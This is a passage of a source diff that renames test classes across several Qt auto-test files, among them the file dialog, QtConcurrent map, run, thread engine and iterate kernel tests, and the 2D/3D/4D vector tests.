QNonNativeFileDialog fd; QAction *hiddenAction = qFindChild(&fd, "qt_show_hidden_action"); @@ -255,7 +255,7 @@ void tst_QFiledialog::filter() QVERIFY(hiddenAction->isChecked()); } -void tst_QFiledialog::showNameFilterDetails() +void tst_QFileDialog2::showNameFilterDetails() { QNonNativeFileDialog fd; QComboBox *filters = qFindChild(&fd, "fileTypeCombo"); @@ -280,7 +280,7 @@ void tst_QFiledialog::showNameFilterDetails() QCOMPARE(filters->itemText(2), filterChoices.at(2)); } -void tst_QFiledialog::unc() +void tst_QFileDialog2::unc() { #if defined(Q_OS_WIN) && !defined(Q_OS_WINCE) // Only test UNC on Windows./ @@ -295,7 +295,7 @@ void tst_QFiledialog::unc() QCOMPARE(model->index(fd.directory().absolutePath()), model->index(dir)); } -void tst_QFiledialog::emptyUncPath() +void tst_QFileDialog2::emptyUncPath() { QNonNativeFileDialog fd; fd.show(); @@ -308,7 +308,7 @@ void tst_QFiledialog::emptyUncPath() QVERIFY(model); } -void tst_QFiledialog::task178897_minimumSize() +void tst_QFileDialog2::task178897_minimumSize() { QNonNativeFileDialog fd; QSize oldMs = fd.layout()->minimumSize(); @@ -322,7 +322,7 @@ void tst_QFiledialog::task178897_minimumSize() QVERIFY(ms.width() <= oldMs.width()); } -void tst_QFiledialog::task180459_lastDirectory_data() +void tst_QFileDialog2::task180459_lastDirectory_data() { QTest::addColumn("path"); QTest::addColumn("directory"); @@ -345,7 +345,7 @@ void tst_QFiledialog::task180459_lastDirectory_data() } -void tst_QFiledialog::task180459_lastDirectory() +void tst_QFileDialog2::task180459_lastDirectory() { //first visit the temp directory and close the dialog QNonNativeFileDialog *dlg = new QNonNativeFileDialog(0, "", QDir::tempPath()); @@ -449,7 +449,7 @@ QString &dir, const QString &filter) } }; -void tst_QFiledialog::task227304_proxyOnFileDialog() +void tst_QFileDialog2::task227304_proxyOnFileDialog() { #if defined QT_BUILD_INTERNAL QNonNativeFileDialog fd(0, "", QDir::currentPath(), 0); @@ -488,7 +488,7 @@ void tst_QFiledialog::task227304_proxyOnFileDialog() #endif } -void tst_QFiledialog::task227930_correctNavigationKeyboardBehavior() +void tst_QFileDialog2::task227930_correctNavigationKeyboardBehavior() { QDir current = QDir::currentPath(); current.mkdir("test"); @@ -527,7 +527,7 @@ void tst_QFiledialog::task227930_correctNavigationKeyboardBehavior() } #if defined(Q_OS_WIN) && !defined(Q_OS_WINCE) -void tst_QFiledialog::task226366_lowerCaseHardDriveWindows() +void tst_QFileDialog2::task226366_lowerCaseHardDriveWindows() { QNonNativeFileDialog fd; fd.setDirectory(QDir::root().path()); @@ -553,7 +553,7 @@ void tst_QFiledialog::task226366_lowerCaseHardDriveWindows() } #endif -void tst_QFiledialog::completionOnLevelAfterRoot() +void tst_QFileDialog2::completionOnLevelAfterRoot() { QNonNativeFileDialog fd; #if defined(Q_OS_WIN) && !defined(Q_OS_WINCE) @@ -592,7 +592,7 @@ void tst_QFiledialog::completionOnLevelAfterRoot() #endif } -void tst_QFiledialog::task233037_selectingDirectory() +void tst_QFileDialog2::task233037_selectingDirectory() { QDir current = QDir::currentPath(); current.mkdir("test"); @@ -615,7 +615,7 @@ void tst_QFiledialog::task233037_selectingDirectory() current.rmdir("test"); } -void tst_QFiledialog::task235069_hideOnEscape() +void tst_QFileDialog2::task235069_hideOnEscape() { QDir current = QDir::currentPath(); QNonNativeFileDialog fd; @@ -637,7 +637,7 @@ void tst_QFiledialog::task235069_hideOnEscape() QCOMPARE(fd2.isVisible(), false); } -void tst_QFiledialog::task236402_dontWatchDeletedDir() +void tst_QFileDialog2::task236402_dontWatchDeletedDir() { #if defined QT_BUILD_INTERNAL //THIS TEST SHOULD NOT DISPLAY WARNINGS @@ -662,7 +662,7 @@ void tst_QFiledialog::task236402_dontWatchDeletedDir() #endif } -void tst_QFiledialog::task203703_returnProperSeparator() +void tst_QFileDialog2::task203703_returnProperSeparator() { QDir current = QDir::currentPath(); current.mkdir("aaaaaaaaaaaaaaaaaa"); @@ -687,7 +687,7 @@ void tst_QFiledialog::task203703_returnProperSeparator() current.rmdir("aaaaaaaaaaaaaaaaaa"); } -void tst_QFiledialog::task228844_ensurePreviousSorting() +void tst_QFileDialog2::task228844_ensurePreviousSorting() { QDir current = QDir::currentPath(); current.mkdir("aaaaaaaaaaaaaaaaaa"); @@ -789,7 +789,7 @@ void tst_QFiledialog::task228844_ensurePreviousSorting() } -void tst_QFiledialog::task239706_editableFilterCombo() +void tst_QFileDialog2::task239706_editableFilterCombo() { QNonNativeFileDialog d; d.setNameFilter("*.cpp *.h"); @@ -812,7 +812,7 @@ void tst_QFiledialog::task239706_editableFilterCombo() QTest::keyPress(filterCombo, Qt::Key_Enter); // should not trigger assertion failure } -void tst_QFiledialog::task218353_relativePaths() +void tst_QFileDialog2::task218353_relativePaths() { QDir appDir = QDir::current(); QVERIFY(appDir.cdUp() != false); @@ -829,7 +829,7 @@ void tst_QFiledialog::task218353_relativePaths() appDir.rmdir("test"); } -void tst_QFiledialog::task251321_sideBarHiddenEntries() +void tst_QFileDialog2::task251321_sideBarHiddenEntries() { #if defined QT_BUILD_INTERNAL QNonNativeFileDialog fd; @@ -889,7 +889,7 @@ public : }; #endif -void tst_QFiledialog::task251341_sideBarRemoveEntries() +void tst_QFileDialog2::task251341_sideBarRemoveEntries() { #if defined QT_BUILD_INTERNAL QNonNativeFileDialog fd; @@ -954,7 +954,7 @@ void tst_QFiledialog::task251341_sideBarRemoveEntries() #endif } -void tst_QFiledialog::task254490_selectFileMultipleTimes() +void tst_QFileDialog2::task254490_selectFileMultipleTimes() { QString tempPath = QDir::tempPath(); QTemporaryFile *t; @@ -986,7 +986,7 @@ void tst_QFiledialog::task254490_selectFileMultipleTimes() t->deleteLater(); } -void tst_QFiledialog::task257579_sideBarWithNonCleanUrls() +void tst_QFileDialog2::task257579_sideBarWithNonCleanUrls() { #if defined QT_BUILD_INTERNAL QDir tempDir = QDir::temp(); @@ -1012,7 +1012,7 @@ void tst_QFiledialog::task257579_sideBarWithNonCleanUrls() #endif } -void tst_QFiledialog::task259105_filtersCornerCases() +void tst_QFileDialog2::task259105_filtersCornerCases() { QNonNativeFileDialog fd(0, "TestFileDialog"); fd.setNameFilter(QLatin1String("All Files! (*);;Text Files (*.txt)")); @@ -1056,7 +1056,7 @@ void tst_QFiledialog::task259105_filtersCornerCases() QCOMPARE(filters->currentText(), QLatin1String("Text Files")); } -void tst_QFiledialog::QTBUG4419_lineEditSelectAll() +void tst_QFileDialog2::QTBUG4419_lineEditSelectAll() { QString tempPath = QDir::tempPath(); QTemporaryFile *t; @@ -1082,7 +1082,7 @@ void tst_QFiledialog::QTBUG4419_lineEditSelectAll() QCOMPARE(tempPath + QChar('/') + lineEdit->selectedText(), t->fileName()); } -void tst_QFiledialog::QTBUG6558_showDirsOnly() +void tst_QFileDialog2::QTBUG6558_showDirsOnly() { const QString tempPath = QDir::tempPath(); QDir dirTemp(tempPath); @@ -1148,7 +1148,7 @@ void tst_QFiledialog::QTBUG6558_showDirsOnly() dirTemp.rmdir(tempName); } -void tst_QFiledialog::QTBUG4842_selectFilterWithHideNameFilterDetails() +void tst_QFileDialog2::QTBUG4842_selectFilterWithHideNameFilterDetails() { QStringList filtersStr; filtersStr << "Images (*.png *.xpm *.jpg)" << "Text files (*.txt)" << "XML files (*.xml)"; @@ -1188,5 +1188,5 @@ void tst_QFiledialog::QTBUG4842_selectFilterWithHideNameFilterDetails() } -QTEST_MAIN(tst_QFiledialog) +QTEST_MAIN(tst_QFileDialog2) #include "tst_qfiledialog2.moc" diff --git a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp index 29cb341..4f7822d 100644 --- a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp +++ b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp @@ -90,7 +90,7 @@ int distance(TestIterator &a, TestIterator &b) using namespace QtConcurrent; -class tst_iteratekernel: public QObject +class tst_QtConcurrentIterateKernel: public QObject { Q_OBJECT private slots: @@ -149,13 +149,13 @@ public: }; -void tst_iteratekernel::instantiate() +void tst_QtConcurrentIterateKernel::instantiate() { startThreadEngine(new PrintFor(0, 40)).startBlocking(); QCOMPARE((int)iterations, 40); } -void tst_iteratekernel::cancel() +void tst_QtConcurrentIterateKernel::cancel() { { QFuture f = startThreadEngine(new SleepPrintFor(0, 40)).startAsynchronously(); @@ -182,7 +182,7 @@ public: } }; -void tst_iteratekernel::stresstest() +void tst_QtConcurrentIterateKernel::stresstest() { const int iterations = 1000; const int times = 50; @@ -194,7 +194,7 @@ void tst_iteratekernel::stresstest() } } -void tst_iteratekernel::noIterations() +void tst_QtConcurrentIterateKernel::noIterations() { const int times = 20000; for (int i = 0; i < times; ++i) @@ -242,7 +242,7 @@ public: bool throttling; }; -void tst_iteratekernel::throttling() +void tst_QtConcurrentIterateKernel::throttling() { const int totalIterations = 400; iterations = 0; @@ -271,7 +271,7 @@ public: } }; -void tst_iteratekernel::blockSize() +void tst_QtConcurrentIterateKernel::blockSize() { #ifdef QT_NO_STL QSKIP("Missing stl iterators prevent correct block size calculation", SkipAll); @@ -296,7 +296,7 @@ public: }; -void tst_iteratekernel::multipleResults() +void tst_QtConcurrentIterateKernel::multipleResults() { #ifdef QT_NO_STL QSKIP("Missing stl iterators prevent correct summation", SkipAll); @@ -320,7 +320,7 @@ public: } }; -void tst_iteratekernel::instantiateWhile() +void tst_QtConcurrentIterateKernel::instantiateWhile() { PrintWhile w; w.startBlocking(); @@ -339,7 +339,7 @@ public: } }; -void tst_iteratekernel::stresstestWhile() +void tst_QtConcurrentIterateKernel::stresstestWhile() { int iterations = 100000; StressWhile w(iterations); @@ -348,7 +348,7 @@ void tst_iteratekernel::stresstestWhile() } #endif -QTEST_MAIN(tst_iteratekernel) +QTEST_MAIN(tst_QtConcurrentIterateKernel) #include "tst_qtconcurrentiteratekernel.moc" diff --git a/tests/auto/qtconcurrentmap/tst_qtconcurrentmap.cpp b/tests/auto/qtconcurrentmap/tst_qtconcurrentmap.cpp index d3417b1..894bac4 100644 --- a/tests/auto/qtconcurrentmap/tst_qtconcurrentmap.cpp +++ b/tests/auto/qtconcurrentmap/tst_qtconcurrentmap.cpp @@ -56,7 +56,7 @@ Q_DECLARE_METATYPE(QList); Q_DECLARE_METATYPE(QList); Q_DECLARE_METATYPE(QList); -class tst_map: public QObject +class tst_QtConcurrentMap: public QObject { Q_OBJECT private slots: @@ -114,7 +114,7 @@ public: Q_DECLARE_METATYPE(QList); -void tst_map::map() +void tst_QtConcurrentMap::map() { // functors take arguments by reference, modifying the sequence in place { @@ -246,7 +246,7 @@ void tst_map::map() #endif } -void tst_map::blocking_map() +void tst_QtConcurrentMap::blocking_map() { // functors take arguments by reference, modifying the sequence in place { @@ -428,7 +428,7 @@ public: } }; -void tst_map::mapped() +void tst_QtConcurrentMap::mapped() { QList list; list << 1 << 2 << 3; @@ -790,7 +790,7 @@ void tst_map::mapped() } } -void tst_map::blocking_mapped() +void tst_QtConcurrentMap::blocking_mapped() { QList list; list << 1 << 2 << 3; @@ -1244,7 +1244,7 @@ public: } }; -void tst_map::mappedReduced() +void tst_QtConcurrentMap::mappedReduced() { QList list; list << 1 << 2 << 3; @@ -1625,7 +1625,7 @@ void tst_map::mappedReduced() // ### the same as above, with an initial result value } -void tst_map::blocking_mappedReduced() +void tst_QtConcurrentMap::blocking_mappedReduced() { QList list; list << 1 << 2 << 3; @@ -2010,7 +2010,7 @@ int sleeper(int val) return val; } -void tst_map::assignResult() +void tst_QtConcurrentMap::assignResult() { const QList startList = QList() << 0 << 1 << 2; QList list = QtConcurrent::blockingMapped(startList, sleeper); @@ -2077,7 +2077,7 @@ public: Q_DECLARE_METATYPE(QVector); Q_DECLARE_METATYPE(QList); -void tst_map::functionOverloads() +void tst_QtConcurrentMap::functionOverloads() { QList intList; const QList constIntList; @@ -2159,7 +2159,7 @@ void fastReduce(int &result, const InstanceCounter&) ++result; } -void tst_map::throttling() +void tst_QtConcurrentMap::throttling() { const int itemcount = 100; const int allowedTemporaries = QThread::idealThreadCount() * 40; @@ -2208,7 +2208,7 @@ void throwMapper(int &e) throw QtConcurrent::Exception(); } -void tst_map::exceptions() +void tst_QtConcurrentMap::exceptions() { bool caught = false; try { @@ -2228,7 +2228,7 @@ int mapper(const int &i) return i; } -void tst_map::incrementalResults() +void tst_QtConcurrentMap::incrementalResults() { const int count = 200; QList ints; @@ -2256,7 +2256,7 @@ void tst_map::incrementalResults() Test that mapped does not cause deep copies when holding references to Qt containers. */ -void tst_map::noDetatch() +void tst_QtConcurrentMap::noDetatch() { { QList l = QList() << 1; @@ -2299,7 +2299,7 @@ void tst_map::noDetatch() } -void tst_map::stlContainers() +void tst_QtConcurrentMap::stlContainers() { #ifdef QT_NO_STL QSKIP("Qt compiled without STL support", SkipAll); @@ -2331,7 +2331,7 @@ InstanceCounter ic_fn(const InstanceCounter & ic) // Verify that held results are deleted when a future is // assigned over with operator == -void tst_map::qFutureAssignmentLeak() +void tst_QtConcurrentMap::qFutureAssignmentLeak() { currentInstanceCount = 0; peakInstanceCount = 0; @@ -2370,7 +2370,7 @@ void add(int &result, const int &sum) result += sum; } -void tst_map::stressTest() +void tst_QtConcurrentMap::stressTest() { const int listSize = 1000; const int sum = (listSize - 1) * (listSize / 2); @@ -2399,26 +2399,26 @@ void tst_map::stressTest() } } -QTEST_MAIN(tst_map) +QTEST_MAIN(tst_QtConcurrentMap) #else -void tst_map::map() {} -void tst_map::blocking_map() {} -void tst_map::mapped() {} -void tst_map::blocking_mapped() {} -void tst_map::mappedReduced() {} -void tst_map::blocking_mappedReduced() {} -void tst_map::assignResult() {} -void tst_map::functionOverloads() {} +void tst_QtConcurrentMap::map() {} +void tst_QtConcurrentMap::blocking_map() {} +void tst_QtConcurrentMap::mapped() {} +void tst_QtConcurrentMap::blocking_mapped() {} +void tst_QtConcurrentMap::mappedReduced() {} +void tst_QtConcurrentMap::blocking_mappedReduced() {} +void tst_QtConcurrentMap::assignResult() {} +void tst_QtConcurrentMap::functionOverloads() {} #ifndef QT_NO_EXCEPTIONS -void tst_map::exceptions() {} +void tst_QtConcurrentMap::exceptions() {} #endif -void tst_map::incrementalResults() {} -void tst_map::stressTest() {} -void tst_map::throttling() {} -void tst_map::stlContainers() {} -void tst_map::noDetatch() {} +void tst_QtConcurrentMap::incrementalResults() {} +void tst_QtConcurrentMap::stressTest() {} +void tst_QtConcurrentMap::throttling() {} +void tst_QtConcurrentMap::stlContainers() {} +void tst_QtConcurrentMap::noDetatch() {} QTEST_NOOP_MAIN diff --git a/tests/auto/qtconcurrentrun/tst_qtconcurrentrun.cpp b/tests/auto/qtconcurrentrun/tst_qtconcurrentrun.cpp index b9ab6d3..8fdc50c 100644 --- a/tests/auto/qtconcurrentrun/tst_qtconcurrentrun.cpp +++ b/tests/auto/qtconcurrentrun/tst_qtconcurrentrun.cpp @@ -49,7 +49,7 @@ using namespace QtConcurrent; -class TestRunFunction: public QObject +class tst_QtConcurrentRun: public QObject { Q_OBJECT private slots: @@ -73,7 +73,7 @@ private slots: #endif -QTEST_MAIN(TestRunFunction) +QTEST_MAIN(tst_QtConcurrentRun) void light() { @@ -91,7 +91,7 @@ void heavy() } -void TestRunFunction::runLightFunction() +void tst_QtConcurrentRun::runLightFunction() { qDebug("starting function"); QFuture future = run(F(light)); @@ -100,7 +100,7 @@ void TestRunFunction::runLightFunction() qDebug("done"); } -void TestRunFunction::runHeavyFunction() +void tst_QtConcurrentRun::runHeavyFunction() { qDebug("starting function"); QFuture future = run(F(heavy)); @@ -141,7 +141,7 @@ public: int operator()(int in) const { return in; } }; -void TestRunFunction::returnValue() +void tst_QtConcurrentRun::returnValue() { QFuture f; @@ -217,7 +217,7 @@ struct TestConstClass void fooInt(int) const { }; }; -void TestRunFunction::functionObject() +void tst_QtConcurrentRun::functionObject() { QFuture f; TestClass c; @@ -235,7 +235,7 @@ void TestRunFunction::functionObject() } -void TestRunFunction::memberFunctions() +void tst_QtConcurrentRun::memberFunctions() { TestClass c; @@ -278,7 +278,7 @@ void stringIntFunction(QString) } -void TestRunFunction::implicitConvertibleTypes() +void tst_QtConcurrentRun::implicitConvertibleTypes() { double d; run(F(doubleFunction), d).waitForFinished(); @@ -294,7 +294,7 @@ void TestRunFunction::implicitConvertibleTypes() void fn() { } -void TestRunFunction::runWaitLoop() +void tst_QtConcurrentRun::runWaitLoop() { for (int i = 0; i < 1000; ++i) run(fn).waitForFinished(); @@ -324,7 +324,7 @@ int recursiveResult(int level) return 1; } -void TestRunFunction::recursive() +void tst_QtConcurrentRun::recursive() { int levels = 15; @@ -375,7 +375,7 @@ int fn2(double, int *) } #if 0 -void TestRunFunction::createFunctor() +void tst_QtConcurrentRun::createFunctor() { e = 0; ::QtConcurrent::createFunctor(vfn0)(); diff --git a/tests/auto/qtconcurrentthreadengine/tst_qtconcurrentthreadengine.cpp b/tests/auto/qtconcurrentthreadengine/tst_qtconcurrentthreadengine.cpp index 6f586d7..23fd19b 100644 --- a/tests/auto/qtconcurrentthreadengine/tst_qtconcurrentthreadengine.cpp +++ b/tests/auto/qtconcurrentthreadengine/tst_qtconcurrentthreadengine.cpp @@ -48,7 +48,7 @@ using namespace QtConcurrent; -class tst_threadengine: public QObject +class tst_QtConcurrentThreadEngine: public QObject { Q_OBJECT public: @@ -79,7 +79,7 @@ public: } }; -void tst_threadengine::runDirectly() +void tst_QtConcurrentThreadEngine::runDirectly() { { PrintUser engine; @@ -120,7 +120,7 @@ public: bool done; }; -void tst_threadengine::result() +void tst_QtConcurrentThreadEngine::result() { StringResultUser engine; QCOMPARE(*engine.startBlocking(), QString("Foo")); @@ -147,7 +147,7 @@ public: bool done; }; -void tst_threadengine::runThroughStarter() +void tst_QtConcurrentThreadEngine::runThroughStarter() { { ThreadEngineStarter starter = startThreadEngine(new StringResultUser()); @@ -180,7 +180,7 @@ public: } }; -void tst_threadengine::cancel() +void tst_QtConcurrentThreadEngine::cancel() { { CancelUser *engine = new CancelUser(); @@ -234,7 +234,7 @@ public: // Test that a user task with a thread function that always // want to be throttled still completes. The thread engine // should make keep one thread running at all times. -void tst_threadengine::throttle() +void tst_QtConcurrentThreadEngine::throttle() { const int repeats = 10; for (int i = 0; i < repeats; ++i) { @@ -280,7 +280,7 @@ public: bool finishing; }; -void tst_threadengine::threadCount() +void tst_QtConcurrentThreadEngine::threadCount() { const int repeats = 10; for (int i = 0; i < repeats; ++i) { @@ -320,7 +320,7 @@ public: }; -void tst_threadengine::multipleResults() +void tst_QtConcurrentThreadEngine::multipleResults() { MultipleResultsUser *engine = new MultipleResultsUser(); QFuture f = engine->startAsynchronously(); @@ -351,7 +351,7 @@ public: } }; -void tst_threadengine::stresstest() +void tst_QtConcurrentThreadEngine::stresstest() { const int times = 20000; @@ -379,7 +379,7 @@ public: ThreadFunctionResult threadFunction() { QTest::qSleep(sleepTime); return ThreadFinished; } }; -void tst_threadengine::cancelQueuedSlowUser() +void tst_QtConcurrentThreadEngine::cancelQueuedSlowUser() { const int times = 100; @@ -436,7 +436,7 @@ public: QThread *blockThread; }; -void tst_threadengine::exceptions() +void tst_QtConcurrentThreadEngine::exceptions() { // Asynchronous mode: { @@ -527,7 +527,7 @@ void tst_threadengine::exceptions() #endif -QTEST_MAIN(tst_threadengine) +QTEST_MAIN(tst_QtConcurrentThreadEngine) #include "tst_qtconcurrentthreadengine.moc" diff --git a/tests/auto/qvectornd/tst_qvectornd.cpp b/tests/auto/qvectornd/tst_qvectornd.cpp index 2be7264..2850f32 100644 --- a/tests/auto/qvectornd/tst_qvectornd.cpp +++ b/tests/auto/qvectornd/tst_qvectornd.cpp @@ -45,12 +45,12 @@ #include #include -class tst_QVector : public QObject +class tst_QVectorND : public QObject { Q_OBJECT public: - tst_QVector() {} - ~tst_QVector() {} + tst_QVectorND() {} + ~tst_QVectorND() {} private slots: void create2(); @@ -155,7 +155,7 @@ static bool fuzzyCompare(qreal x, qreal y) // Test the creation of QVector2D objects in various ways: // construct, copy, and modify. -void tst_QVector::create2() +void tst_QVectorND::create2() { QVector2D null; QCOMPARE(null.x(), (qreal)0.0f); @@ -244,7 +244,7 @@ void tst_QVector::create2() // Test the creation of QVector3D objects in various ways: // construct, copy, and modify. -void tst_QVector::create3() +void tst_QVectorND::create3() { QVector3D null; QCOMPARE(null.x(), (qreal)0.0f); @@ -370,7 +370,7 @@ void tst_QVector::create3() // Test the creation of QVector4D objects in various ways: // construct, copy, and modify. -void tst_QVector::create4() +void tst_QVectorND::create4() { QVector4D null; QCOMPARE(null.x(), (qreal)0.0f); @@ -556,7 +556,7 @@ void tst_QVector::create4() } // Test vector length computation for 2D vectors. -void tst_QVector::length2_data() +void tst_QVectorND::length2_data() { QTest::addColumn("x"); QTest::addColumn("y"); @@ -569,7 +569,7 @@ void tst_QVector::length2_data() QTest::newRow("-1y") << (qreal)0.0f << (qreal)-1.0f << (qreal)1.0f; QTest::newRow("two") << (qreal)2.0f << (qreal)-2.0f << (qreal)qSqrt(8.0f); } -void tst_QVector::length2() +void tst_QVectorND::length2() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -581,7 +581,7 @@ void tst_QVector::length2() } // Test vector length computation for 3D vectors. -void tst_QVector::length3_data() +void tst_QVectorND::length3_data() { QTest::addColumn("x"); QTest::addColumn("y"); @@ -597,7 +597,7 @@ void tst_QVector::length3_data() QTest::newRow("-1z") << (qreal)0.0f << (qreal)0.0f << (qreal)-1.0f << (qreal)1.0f; QTest::newRow("two") << (qreal)2.0f << (qreal)-2.0f << (qreal)2.0f << (qreal)qSqrt(12.0f); } -void tst_QVector::length3() +void tst_QVectorND::length3() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -610,7 +610,7 @@ void tst_QVector::length3() } // Test vector length computation for 4D vectors. -void tst_QVector::length4_data() +void tst_QVectorND::length4_data() { QTest::addColumn("x"); QTest::addColumn("y"); @@ -629,7 +629,7 @@ void tst_QVector::length4_data() QTest::newRow("-1w") << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f << (qreal)-1.0f << (qreal)1.0f; QTest::newRow("two") << (qreal)2.0f << (qreal)-2.0f << (qreal)2.0f << (qreal)2.0f << (qreal)qSqrt(16.0f); } -void tst_QVector::length4() +void tst_QVectorND::length4() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -643,12 +643,12 @@ void tst_QVector::length4() } // Test the unit vector conversion for 2D vectors. -void tst_QVector::normalized2_data() +void tst_QVectorND::normalized2_data() { // Use the same test data as the length test. length2_data(); } -void tst_QVector::normalized2() +void tst_QVectorND::normalized2() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -665,12 +665,12 @@ void tst_QVector::normalized2() } // Test the unit vector conversion for 3D vectors. -void tst_QVector::normalized3_data() +void tst_QVectorND::normalized3_data() { // Use the same test data as the length test. length3_data(); } -void tst_QVector::normalized3() +void tst_QVectorND::normalized3() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -689,12 +689,12 @@ void tst_QVector::normalized3() } // Test the unit vector conversion for 4D vectors. -void tst_QVector::normalized4_data() +void tst_QVectorND::normalized4_data() { // Use the same test data as the length test. length4_data(); } -void tst_QVector::normalized4() +void tst_QVectorND::normalized4() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -715,12 +715,12 @@ void tst_QVector::normalized4() } // Test the unit vector conversion for 2D vectors. -void tst_QVector::normalize2_data() +void tst_QVectorND::normalize2_data() { // Use the same test data as the length test. length2_data(); } -void tst_QVector::normalize2() +void tst_QVectorND::normalize2() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -735,12 +735,12 @@ void tst_QVector::normalize2() } // Test the unit vector conversion for 3D vectors. -void tst_QVector::normalize3_data() +void tst_QVectorND::normalize3_data() { // Use the same test data as the length test. length3_data(); } -void tst_QVector::normalize3() +void tst_QVectorND::normalize3() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -756,12 +756,12 @@ void tst_QVector::normalize3() } // Test the unit vector conversion for 4D vectors. -void tst_QVector::normalize4_data() +void tst_QVectorND::normalize4_data() { // Use the same test data as the length test. length4_data(); } -void tst_QVector::normalize4() +void tst_QVectorND::normalize4() { QFETCH(qreal, x); QFETCH(qreal, y); @@ -778,7 +778,7 @@ void tst_QVector::normalize4() } // Test the comparison operators for 2D vectors. -void tst_QVector::compare2() +void tst_QVectorND::compare2() { QVector2D v1(1, 2); QVector2D v2(1, 2); @@ -791,7 +791,7 @@ void tst_QVector::compare2() } // Test the comparison operators for 3D vectors. -void tst_QVector::compare3() +void tst_QVectorND::compare3() { QVector3D v1(1, 2, 4); QVector3D v2(1, 2, 4); @@ -806,7 +806,7 @@ void tst_QVector::compare3() } // Test the comparison operators for 4D vectors. -void tst_QVector::compare4() +void tst_QVectorND::compare4() { QVector4D v1(1, 2, 4, 8); QVector4D v2(1, 2, 4, 8); @@ -823,7 +823,7 @@ void tst_QVector::compare4() } // Test vector addition for 2D vectors. -void tst_QVector::add2_data() +void tst_QVectorND::add2_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -852,7 +852,7 @@ void tst_QVector::add2_data() << (qreal)4.0f << (qreal)5.0f << (qreal)5.0f << (qreal)7.0f; } -void tst_QVector::add2() +void tst_QVectorND::add2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -876,7 +876,7 @@ void tst_QVector::add2() } // Test vector addition for 3D vectors. -void tst_QVector::add3_data() +void tst_QVectorND::add3_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -913,7 +913,7 @@ void tst_QVector::add3_data() << (qreal)4.0f << (qreal)5.0f << (qreal)-6.0f << (qreal)5.0f << (qreal)7.0f << (qreal)-3.0f; } -void tst_QVector::add3() +void tst_QVectorND::add3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -941,7 +941,7 @@ void tst_QVector::add3() } // Test vector addition for 4D vectors. -void tst_QVector::add4_data() +void tst_QVectorND::add4_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -986,7 +986,7 @@ void tst_QVector::add4_data() << (qreal)4.0f << (qreal)5.0f << (qreal)-6.0f << (qreal)9.0f << (qreal)5.0f << (qreal)7.0f << (qreal)-3.0f << (qreal)17.0f; } -void tst_QVector::add4() +void tst_QVectorND::add4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1018,12 +1018,12 @@ void tst_QVector::add4() } // Test vector subtraction for 2D vectors. -void tst_QVector::subtract2_data() +void tst_QVectorND::subtract2_data() { // Use the same test data as the add test. add2_data(); } -void tst_QVector::subtract2() +void tst_QVectorND::subtract2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1055,12 +1055,12 @@ void tst_QVector::subtract2() } // Test vector subtraction for 3D vectors. -void tst_QVector::subtract3_data() +void tst_QVectorND::subtract3_data() { // Use the same test data as the add test. add3_data(); } -void tst_QVector::subtract3() +void tst_QVectorND::subtract3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1097,12 +1097,12 @@ void tst_QVector::subtract3() } // Test vector subtraction for 4D vectors. -void tst_QVector::subtract4_data() +void tst_QVectorND::subtract4_data() { // Use the same test data as the add test. add4_data(); } -void tst_QVector::subtract4() +void tst_QVectorND::subtract4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1144,7 +1144,7 @@ void tst_QVector::subtract4() } // Test component-wise vector multiplication for 2D vectors. -void tst_QVector::multiply2_data() +void tst_QVectorND::multiply2_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1173,7 +1173,7 @@ void tst_QVector::multiply2_data() << (qreal)4.0f << (qreal)5.0f << (qreal)4.0f << (qreal)10.0f; } -void tst_QVector::multiply2() +void tst_QVectorND::multiply2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1197,7 +1197,7 @@ void tst_QVector::multiply2() } // Test component-wise vector multiplication for 3D vectors. -void tst_QVector::multiply3_data() +void tst_QVectorND::multiply3_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1234,7 +1234,7 @@ void tst_QVector::multiply3_data() << (qreal)4.0f << (qreal)5.0f << (qreal)-6.0f << (qreal)4.0f << (qreal)10.0f << (qreal)-18.0f; } -void tst_QVector::multiply3() +void tst_QVectorND::multiply3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1262,7 +1262,7 @@ void tst_QVector::multiply3() } // Test component-wise vector multiplication for 4D vectors. -void tst_QVector::multiply4_data() +void tst_QVectorND::multiply4_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1307,7 +1307,7 @@ void tst_QVector::multiply4_data() << (qreal)4.0f << (qreal)5.0f << (qreal)-6.0f << (qreal)9.0f << (qreal)4.0f << (qreal)10.0f << (qreal)-18.0f << (qreal)72.0f; } -void tst_QVector::multiply4() +void tst_QVectorND::multiply4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1339,7 +1339,7 @@ void tst_QVector::multiply4() } // Test vector multiplication by a factor for 2D vectors. -void tst_QVector::multiplyFactor2_data() +void tst_QVectorND::multiplyFactor2_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1372,7 +1372,7 @@ void tst_QVector::multiplyFactor2_data() << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f; } -void tst_QVector::multiplyFactor2() +void tst_QVectorND::multiplyFactor2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1395,7 +1395,7 @@ void tst_QVector::multiplyFactor2() } // Test vector multiplication by a factor for 3D vectors. -void tst_QVector::multiplyFactor3_data() +void tst_QVectorND::multiplyFactor3_data() { 